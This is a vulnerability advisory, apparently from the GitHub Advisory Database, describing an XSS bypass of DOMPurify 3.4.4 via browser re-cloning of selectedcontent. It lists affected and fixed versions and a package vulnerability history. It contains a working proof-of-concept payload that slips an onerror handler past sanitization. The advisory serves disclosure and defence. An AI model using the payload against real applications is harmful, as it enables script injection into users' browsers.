DOMPurify XSS via selectedcontent re-clone
Summary
DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.
Details
The chain is as follows:
- The browser parses the input and creates a
<selectedcontent>clone from the selected<option> - DOMPurify walks and sanitizes that generated clone.
- DOMPurify reaches the original
<option>and removesselected=javascript:1 - The browser refreshes the
<selectedcontent>clone from the originaloption's content. - The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize
- The returned string contains unsanitized markup inside
<selectedcontent>.
PoC
const dirty =
'<select><button><selectedcontent></selectedcontent></button>' +
'<option selected=javascript:1>' +
'<img src=x onerror=alert(1)>x' +
'</option></select>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
document.body.innerHTML = clean;Observed "sanitized" output in Chromium 148/WebKit 625:
<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:
<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.
Impact
This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.
Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | dompurify | >= 3.4.4, < 3.4.5 | 3.4.5 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
dompurify- Disclosed
- 01.06.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-87xg-pxx2-7hvx - CC BY 4.0
Vulnerability history: dompurify
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 30
- First → latest
- 08.2020 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 2
- High 3
- Medium 19
- Low 6
Disclosures per year
- 2020: 3
- 2021: 0
- 2022: 0
- 2023: 1
- 2024: 3
- 2025: 1
- 2026: 22
-
DOMPurify XSS via selectedcontent re-clone this entry
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